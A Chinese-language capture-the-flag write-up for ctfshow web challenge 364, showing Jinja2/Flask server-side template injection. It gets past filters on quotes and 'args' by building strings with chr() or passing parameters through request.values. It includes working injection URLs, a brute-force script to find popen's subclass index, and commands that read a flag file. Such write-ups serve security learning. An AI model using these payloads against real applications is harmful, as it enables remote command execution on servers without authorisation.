SSTI模板注入args、单双引号被过滤绕过
绕过技巧
当单双引号被过滤时,我们使用()或者[]来获得我们所需要的类,并且我们是尝试使用传参的方式将我们的shell命令传进去执行,但是当args也被过滤的时候,我们就不能使用request.args.参数名 来进行传参了。
我这里的绕过方法有两种,一种是我们获得chr()这个python的内置函数,chr(ascii值)函数接收一个字符的ascii码值然后将该ascii码值所对应的字符返回,这时我们就可以使用chr(ascii值)得到我们想要的字符,然后将其进行拼接成我们想要的字符串或者shell命令。另一种方法是,既然args不能用,flask框架(python)获取参数的方法又不是只有request.args,此外flask框架获取参数的方法还有request.values.参数名,其中request.values既可接收get传参也可接收post传参。
实例引入-ctfshow web入门364
1、判断是否存在SSTI模板注入漏洞
首先输入参数值name={{7*7}}观察页面是否输出49?
页面输出49,说明该站点存在SSTI模板注入漏洞。
2、获得内置类所对应的类
由于单双引号被过滤了,我们这里使用[]来获取内置类所对应的类。
http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={{[].__class__}}
3、获得object基类
http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={{[].__class__.__base__}}
4、获得所有子类
http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()}}
5、获得含有可以执行shell命令方法的类
我们还是以获得含有popen方法的类为例,使用以下脚本代码跑出该类的索引值:
import requests
num = 0
for num in range(500):
try:
url = "http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__.popen}}"
res = requests.get(url=url).text
if 'popen' in res:
print(num)
num += 1
except:
num += 1
获得该类的索引值132。
6、获得可以执行shell命令的方法
http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__.popen}}
7、执行shell命令获取flag
使用chr()拼接shell命令
我们可以使用以下代码获取得到chr()函数。
http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={%set char=config.__class__.__init__.__globals__.__builtins__.chr%}{%print char%}
得到chr()函数之后就可以拼接shell命令了。
http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={%set%20char=config.__class__.__init__.__globals__.__builtins__.chr%}{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)).read()}}
成功拿到flag。
其中,99 97 116 32 47 102 108 97 103 为"cat /flag"字符串每个字符的ascii码值。
使用request.values进行传参
http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.values.a).read()}}&a=cat /flag